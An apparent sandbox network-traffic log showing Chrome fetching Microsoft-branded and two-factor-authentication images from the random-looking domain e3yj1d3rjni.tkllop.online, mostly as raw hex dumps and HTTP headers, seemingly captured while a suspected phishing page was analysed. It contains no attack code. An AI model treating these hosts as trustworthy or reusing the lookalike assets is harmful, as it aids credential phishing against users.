2024-10-29 09:47:16 UTC	1369	IN	Data Raw: e2 ce 5d 6e e2 c4 09 b8 7b e7 8e 5a 9a da da da 62 e0 e0 c1 68 dd ba 0d 6c ac 2c 99 bf d5 42 91 35 62 08 30 04 18 02 86 8b 00 1b f8 05 ec bb 95 ab 56 73 7f 2e 98 8f d4 d4 54 a9 96 b9 72 e5 82 57 79 1f 14 f5 28 09 07 47 67 d8 17 72 84 a5 95 15 3e 26 24 e0 53 e2 47 c4 44 bf c2 9d 9b d7 f1 f8 c1 5d a4 a5 a5 49 db d5 a9 53 17 bf cf 98 81 fc 76 b6 cc e7 02 f6 39 53 8d 21 c0 10 60 08 f0 8d 00 1b f4 f9 46 94 27 79 33 67 cd e2 d6 ad 5d 2b 95 66 61 69 89 ea fe 01 a8 54 bd 16 f2 da da 29 ec 25 21 fe 03 0e ec d8 84 7b 11 37 a5 75 7d 7d 2b 61 de 82 05 70 28 58 80 f9 5d 21 82 ac 02 43 80 21 c0 10 10 07 02 6c c0 17 a0 1f 57 ad 59 c3 cd 9d 3d 5b aa 99 4b 11 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a 23 c9 1a 30 Data Ascii: ]n{Zbhl,B5b0Vs.TrWy(Ggr>&$SGD]ISv9S!`F'y3g]+faiT)%!{7u}}+ap(X]!C!lWY=[KwtvmD5iiWz*#0
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 71 ce 62 98 98 64 16 77 e9 ec 49 9c 3e 7a 10 49 89 1f a5 5a 93 84 3a 84 e0 c9 a2 3a 21 16 32 ab 27 64 7f fd f2 79 39 f5 4a 95 2a 85 71 bf fe 86 ca be 15 35 c2 4d 56 e8 95 ab d7 b8 1e dd 25 c4 ee e1 e1 81 dd bb 77 0b 11 12 a6 13 43 40 2b 08 90 45 a7 ad 5b b7 a6 b2 c9 1d ac f3 e7 cf f3 76 6d 69 45 61 26 54 67 08 b0 40 50 13 ea 9e 3d 7b 71 97 2f 5f a2 ad 27 4c 9a 84 0e ed db 6b 84 65 8b 16 2d b8 47 8f 1e 51 79 23 26 cc c8 b4 7f 3e 74 df 4e b9 67 f1 36 79 6d e9 2c be aa 5f 5d 35 2d d0 6d b3 fb 11 37 41 66 f8 cf 9f 4a 6c 24 c5 d1 d1 11 13 26 4d 46 dd da fe 1a 61 97 21 6f e3 a6 4d dc ef 53 a7 d2 3f db b4 69 03 32 c3 61 85 21 60 4c 08 04 05 05 21 2a 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe 02 05 b0 67 Data Ascii: qbdwI>zIZ::!2'dy9Jq5MV%wC@+E[vmiEa&Tg@P={q/_'Lke-GQy#&>tNg6ym,_]5-m7AfJl$&MFa!oMS?i2a!`L!*e62&h+5zWeg
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: aa 5d b7 6e 3d 2c 5e fc 17 2f b8 5d 0b bb ce 75 eb fa 9d 60 42 7a 0f 44 09 af 72 86 06 0f 6f fa 7a 79 b8 a1 5c c9 62 6a 63 cb 88 9e 37 57 30 41 02 42 80 11 bd 80 9c 61 a0 aa a8 3d a8 1a a8 bd 6a a9 dd ad 7b 77 ee da d5 ab b4 ed b4 e9 d3 d1 ba 65 4b 5e 70 93 9d cd 57 aa 5e 0b cd db 75 56 4b 3f b1 34 2a 5b a2 28 ca 78 ba ab 8d 2d 23 7a b1 44 02 b3 43 16 01 46 f4 2c 1e 34 45 40 ed 41 55 d3 8e 0d a5 fd f9 8b 97 b8 be bd 7b 51 75 c9 7e d6 9d bb f7 c0 d6 c6 5a 63 dc 7e 9c cd f7 fb 79 0c 5c 5c dd 68 3f 89 1f 13 40 4e a7 33 96 92 92 92 82 73 27 8e e0 fd 9b d7 18 3b 6e 2c ca 97 2d a3 16 be 7c 13 7d 25 07 7b 74 f4 f0 40 e9 fc f9 70 29 e6 0d 96 df bd 87 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 67 4f 4f 14 Data Ascii: ]n=,^/]u`BzDrozy\bjc7W0ABa=j{weK^pW^uVK?4[(x-#zDCF,4E@AU{Qu~Zc~y\\h?@N3s';n,-\|}%{t@p)7?t\|^$7oc<Y%MqqFgOO
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 34 48 c8 18 72 e8 f0 11 6e c4 70 49 be 79 2f af 32 d8 b6 6d 2b 2f 38 9d 38 79 8a 1b 3c 68 20 95 eb e8 e2 8a 01 c3 c7 e1 d3 a7 24 ba a5 2e fc ea 25 3a 7b 6f d9 a1 2b dc 8b 7b 1a 2c ac 64 51 21 b9 2b 71 ed e2 59 39 1b 02 fc dc d0 33 b8 1c bc cb 64 be 43 f1 d5 b6 0b ac 6c 5c 34 c6 98 11 bd c1 86 0d 53 3c 07 04 18 d1 b3 f0 d0 14 01 8d 07 57 4d 15 10 62 fb d1 a3 c7 70 fb f6 ed a5 aa 0d 1d 36 0c fd fb f5 e3 05 a7 e9 d3 67 70 1b d2 73 56 93 5b f6 05 ec 1d 70 f4 c0 2e 7c f9 fc 99 3e 8f af 1d d8 58 0e 8e b8 77 6f 61 9e 27 8f c1 cc ec 2f 9e 39 4e 6f d3 93 7c 00 19 a5 68 11 5b f4 0a 2e 8f 56 8d b2 ff f1 92 6a e9 87 3c f9 fd 34 c6 98 11 bd 10 af 26 a6 93 a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 9c 82 82 82 Data Ascii: 4HrnpIy/2m+/88y<h $.%:{o+{,dQ!+qY93dCl\4S<WMbp6gpsV[p.\|>Xwoa'/9No\|h[.Vj<4&0A^Ul>yk5f+Q
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 7e 18 c7 0e ec 46 ab 0e dd e0 53 a5 ba 4a f6 a9 52 f9 c6 d5 8b 38 7f f2 28 de 44 bf 92 36 73 28 68 45 09 be 4b 6b af 6c 45 bd 7c fd 11 4d ba 49 1e 4d 54 f1 76 c2 bf 73 83 54 e9 16 69 e6 25 61 6e df 4a 23 cc 19 d1 ab 04 39 ab 6c 20 08 30 a2 37 10 47 09 58 4d 8d 06 56 01 db a5 92 6a f3 17 2c e0 fe 59 21 59 28 d7 a1 63 27 4c f8 ed 57 de 71 f1 f1 f1 e1 52 d2 8f 37 fd 6d e6 42 98 e6 ce 0d d9 c4 38 36 79 6d d1 a8 65 3b 94 f3 91 bf e5 fd f4 d1 03 ec dd b6 91 3e 1f af 58 b5 26 82 5a b4 a5 07 de f0 5d a2 9e 3f a5 b7 e9 ef dc bc 2e 27 ba 7d d3 92 94 e4 5d 9d 73 5e f5 9f 90 98 8c 5a ad 25 0b 19 8b b8 e4 c5 fe 35 99 cf 72 cf 49 e7 34 f3 32 30 b7 6f a6 11 ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 0f 96 af f8 Data Ascii: ~FSJR8(D6s(hEKklE\|MIMTvsTi%anJ#9l 07GXMVj,Y!Y(c'LWqR7mB86yme;>X&Z]?.'}]s^Z%5rI420o&O0[V6po
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 53 16 c6 c8 84 04 6c 7b f4 18 5b 1f 3f 46 ec 97 af 9a 19 24 92 d6 8c e8 45 e2 48 3d 9a 61 b4 44 7f fa cc 59 6e c0 4f fd 29 f4 9e 9e 9e d8 bd 7b b7 56 b1 90 cd a3 5f cc b3 14 48 d6 39 0b 4b 4b 34 6c d6 06 de 95 ab c9 85 00 21 f0 5d 9b d6 d2 45 72 24 2b 1e f9 11 20 7b 5e 7d f2 d7 af 38 7e 68 0f 3d 1e 96 6c cb 23 cf fb cb 7a fb ca c9 e0 38 0e e7 48 d2 9b d3 47 41 56 f0 67 94 72 a5 ec e9 2c be 81 8a 29 6a b3 8b d1 cd 7b ee e1 f7 45 97 e8 d7 b6 79 cd b1 6e 41 13 14 73 b3 53 29 a4 53 ac 83 60 61 e7 ad 31 fe 8c e8 55 82 5d ae 32 b9 4d df ad 64 49 34 70 2d ac be 10 1e 5b ee 7f f6 1c 6b 1e 3c c0 e5 37 6f 79 94 6a 98 a2 18 d1 1b a6 df 84 a4 b5 c6 83 ab 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 69 45 17 e6 Data Ascii: Sl{[?F$EH=aDYnO){V_H9KK4l!]Er$+ {^}8~h=l#z8HGAVgr,)j{EynAsS)S`a1U]2MdI4p-[k<7oyjQEvI4` U,dIYfm6iE
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 44 af 65 80 8d 40 3c af 03 ad d0 f1 4a fc f4 99 6b 50 3f 00 09 e9 29 37 57 ae 5e 83 6a 55 2a eb 14 83 61 3f ff cc 1d 0d 0d a5 50 b5 ee d8 0d de e9 cf db c9 ad 77 72 54 2d c9 7c 47 4e a9 0b 6c d2 12 d6 36 f2 ab a0 1f 3f bc 47 b3 da 91 db f5 19 c5 34 97 89 34 e9 8d 8d b5 b9 52 2e 48 4b e3 70 fd 76 0c ec 6c f3 a0 44 b1 fc d9 b6 b9 17 19 87 e0 01 7b a5 df 93 85 76 81 fe ee 74 6b 1e 79 d7 a4 24 db 76 82 a5 0d bf 59 08 19 d1 e7 ec 11 9f 82 05 31 a9 4a 25 90 77 43 2e e7 a2 63 30 e9 ea 35 3c 8c ff be 46 c4 90 ed 51 a4 3b 23 7a 45 08 b1 ef 15 21 a0 53 92 53 a4 8c b6 bf df bb 6f 3f 37 66 f4 28 da 4d 95 aa 55 b1 7a d5 2a 9d db bf 6e fd 7a 6e e6 8c 19 54 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 01 7e 6e f4 Data Ascii: De@<JkP?)7W^jUa?PwrT-\|GNl6?G44R.HKpvlD{vtky$vY1J%wC.c05<FQ;#zE!SSo?7f(MUznznTEz"<%/d(~n
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: dc 58 ab ef 08 e8 6c 10 d6 17 e8 ab 56 af e1 e6 ce 99 4d bb 6f 18 14 84 f9 f3 e6 09 ca 66 42 4e db b6 6e 41 83 86 0d d1 b5 5b 77 14 2f aa d9 62 b5 cf 09 f7 38 b3 cf 67 61 92 16 a7 17 c8 b9 5c 56 48 b5 f4 83 85 5d 45 9d e3 cc 88 5e de e5 24 d5 ed 58 9e 17 e1 7d 48 48 c4 d1 f3 ea ed 5f f7 f2 70 43 d9 12 aa 1f 7c a4 4c 20 8f be 74 19 9b 23 55 7b 9c a0 8c 5c 21 d4 61 44 2f 04 2f 18 b6 0e 3a 1f 8c 75 0d 57 eb d6 ad b9 07 0f 1e d0 6e 67 ce 9a 8d e6 cd 9a 8a de 66 62 eb d7 f7 a7 b9 dc 9f af 00 d0 dd 22 a5 54 8b 8a 48 b5 a8 06 6b 2b 5b bd 60 cc 88 5e fe ea 5a 5a bb 16 1a 15 91 3f 23 41 d3 eb 2f ee c3 47 1c bf 78 5d 2d 31 c5 8b 38 c3 b7 6c 09 b5 da 2a 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 cb b6 ed b0 Data Ascii: XlVMofBNnA[w/b8ga\VH]E^$X}HH_pC\|L t#U{\!aD//:uWngfb"THk+[`^ZZ?#A/Gx]-18l*jDH#z1zU6e@Wq=uc
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: e3 6b b2 24 f9 94 a6 c5 c4 04 28 e2 5c 08 e5 4a 14 85 15 8f 84 3f fe f2 15 6c 78 18 a9 a9 7a 82 6b cf 88 5e 70 2e 31 38 85 0c 92 08 2f 5c bc c4 85 86 1e c1 b5 ab 57 f1 f4 d9 33 a4 a6 a4 c0 ca ca 0a 69 69 69 f8 fa 55 92 9a 73 ee 1f f3 d0 b8 51 90 41 da 67 70 51 24 10 85 19 d1 7f 77 44 73 77 37 2c aa e5 a7 91 67 c8 ed f9 1b 77 1f e1 b3 1a e9 6e 95 e9 38 57 2e 13 94 2a 56 04 5e 1e ee 20 ff d7 b4 74 3f 71 12 a7 5e 29 91 e9 51 d3 8e 74 dc 9e 11 bd 8e 01 17 61 77 9a 5f 5d 3a 04 25 f2 d1 63 6e e1 c2 3f 71 ec e8 51 85 bd 92 23 5f c7 8c 1e 65 50 f6 29 34 8a 55 c8 11 01 46 f4 df e1 f1 ca 97 0f 07 9b 36 56 3b 62 c2 22 1e e2 f1 0b dd 90 26 d9 67 5f b7 aa b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 c6 8e 19 8d Data Ascii: k$(\J?lxzk^p.18/\W3iiiUsQAgpQ$wDsw7,gwn8W.*V^ t?q^)Qtaw_]:%cn?qQ#_eP)4UF6V;b"&g_FqJJRf6dD/T^C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49770	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:16 UTC	646	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:16 UTC	1045	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:16 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BdcK8gJMQHGiI9LxERc0azXljgFhsUCxnkyodgk12f%2F6zaS7A7OWF7xk8JV8JGRq3fOjANvgfwP6IWEEGem4fEhAK3RQfCyQq5aQ%2B9GRz8VZH6yBKxMy35R866EOnR%2F8G4gym2Gv2LNp4f8E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e425b11359a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1224&delivery_rate=2524847&cwnd=251&unsent_bytes=0&cid=eb0b26f9982f2472&ts=595&x=0"
2024-10-29 09:47:16 UTC	324	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: c0 90 c3 81 13 80 a3 80 23 91 81 a3 c1 fb c0 33 c0 d3 c0 a3 c0 2c a5 cf ad 88 98 43 80 89 c0 1b c8 ac 12 42 5e 01 7e 00 ec 13 c0 be 8a 80 34 03 a7 20 b3 48 a8 c1 54 4b fe dd a9 4b 23 ff 52 14 9e 3e c0 65 c0 db d8 0f a8 6d e5 55 e0 5c 64 d0 57 14 88 53 80 f9 d8 0f a0 34 79 09 18 e7 c7 05 15 9a 8c 02 9e c0 7e c0 d4 2b f7 01 c3 3d f8 a3 42 81 73 80 55 d8 0f 92 bc b2 1c 38 5b dd 2b 15 b9 d9 19 78 08 fb 81 a1 25 7f 44 e2 66 15 86 8c 64 6b 40 b2 4c f2 32 b0 87 a2 9f 2a ea e0 28 24 18 69 3d 08 7c c9 7b c0 61 6a de aa c8 c4 e9 c0 06 ec 6f be 6f 59 0d 1c ab e4 b3 8a 14 c6 03 eb b1 bf e9 a1 64 0d 55 48 c2 3b c7 23 9b bf d6 37 db 62 e6 fa 8c 82 ff 2a 7a 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 92 7e 62 7d 53 63 91 07 Data Ascii: #3,CB^~4 HTKK#R>emU\dWS4y~+=BsU8[+x%Dfdk@L2($i=\|{ajooYdUH;#7bz`,Zd+Y,V*IK2,~b}Sc
2024-10-29 09:47:16 UTC	1369	IN	Data Raw: 6b 05 52 d8 98 f7 42 97 81 95 fb 4b 03 b1 0a 58 6f ad 44 0a 1f 58 2b 90 c2 a6 bc 17 96 79 c6 5a 6d ad 40 06 56 5a 2b 90 82 c9 8c b5 ce e1 da 10 f8 a8 ba a7 4d ec 3a e6 9e 3c 5c 06 d6 72 87 6b 43 10 3a e7 2a 0f da 29 d1 da ac c8 7b a1 cb c0 5a e6 70 6d 08 fa 13 7f 8d 02 b3 d4 94 8c e4 9e 3c ca 3c 63 81 ec c9 c5 cc be d6 0a a4 d0 96 fe 4f 7a a6 cc 33 16 c4 5f 9b c0 2c 83 20 03 1d c8 ca 3a 17 2e 03 6b b1 c3 b5 a1 38 d6 5a 81 04 46 60 9f d1 9a c4 fb 18 05 48 17 38 5c 1b 8a 13 d0 29 6f ed 83 33 ac 15 48 c1 e9 fe 96 7d 60 f5 07 4e b7 56 a2 06 b1 57 d7 7b cf e5 e2 b2 0f 2c 90 ba 0a b1 f5 d7 39 0e 18 63 ad 44 0a ef b8 5c ec fa 8e 95 3b e4 1f 90 b1 c0 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 05 17 23 5d 8b cc cf 72 Data Ascii: kRBKXoDX+yZm@VZ+M:<\rkC:*){Zpm<<cOz3_, :.k8ZF`H8\)o3H}`NVW{,9cD\;IJld]/}mO<i>gb,#]r
2024-10-29 09:47:16 UTC	506	IN	Data Raw: 21 3d 95 7b 3a 55 36 ad 33 57 92 fc 73 b0 9c 48 9a 0a 29 30 08 29 30 9b 34 a8 5e a6 0a bd a8 71 3e c9 05 dd 36 01 17 9b 69 a7 c3 48 e4 e7 3d 69 50 3d 45 63 87 5c bc 70 2a e9 f9 47 bf c2 b8 e5 6c 4e 4e 26 fd b0 c9 fd 40 3f 2b 05 cb ce 31 48 05 e3 a4 1b f0 02 52 ff b3 08 f4 42 b2 38 d2 6a 94 4e a2 7c f5 29 a2 e3 10 a4 42 73 d2 8d 58 0a 7c de 4a c1 8c 0c 47 6a a2 26 d9 b1 05 b8 81 2a f8 19 8c 8f 93 5e d3 a0 03 b8 15 69 9f 1b 1b 67 20 f5 e3 93 f4 5f 8f 6c e3 54 04 a6 3f 70 37 e9 4f fc 74 e2 09 49 0c 44 ca 80 a7 e9 fc 16 05 af 06 53 06 2e 24 39 4a bf 05 79 e9 bf 0e db 17 fb f1 24 67 7c 76 c9 bf 48 6e c0 59 11 90 a3 c9 56 34 63 06 92 b5 1a 92 1d c8 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 66 d0 e9 43 e0 24 cf fa Data Ascii: !={:U63WsH)0)04^q>6iH=iP=Ec\pGlNN&@?+1HRB8jN\|)BsX\|JGj&^ig _lT?p7OtIDS.$9Jy$g\|vHnYV4cVU]%i7p#g} fC$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49773	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	381	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	998	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:18 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T1dFoq0V7m7bEtaXnWnZ0C9sEJbs%2Bv0DC122%2B2%2FLbGNhSPuhdS77HDRUUijOkY5cfsX%2Fg1TtCaELMElR7uZ8ri5zbMtgLqFxO%2BLIe6piBkIgKe0uZd%2Bfv7AwrSeB1bF2txGPSAXWy%2FicOdf0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4d4a864768-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=959&delivery_rate=1415444&cwnd=246&unsent_bytes=0&cid=2da026ba3726dfdf&ts=220&x=0"
2024-10-29 09:47:18 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-10-29 09:47:18 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49774	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:17 UTC	380	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:18 UTC	1046	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:17 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rZha%2BVjcT%2B6AiEK3EJ0LWBaLo2eRfRsNstfuxfdJdbiiO9bLgIHzyF7aWPiT2rYWo9cf6TdnHu75i8HMMclysWPq392irqCkDwJLnmecXwOncwNci3QhmlfIcR9tlG5oR00%2BritzUIITMrs7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e4d6a0a0b9d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1274&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=958&delivery_rate=2220858&cwnd=247&unsent_bytes=0&cid=958485cc75ba2f6b&ts=150&x=0"
2024-10-29 09:47:18 UTC	323	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
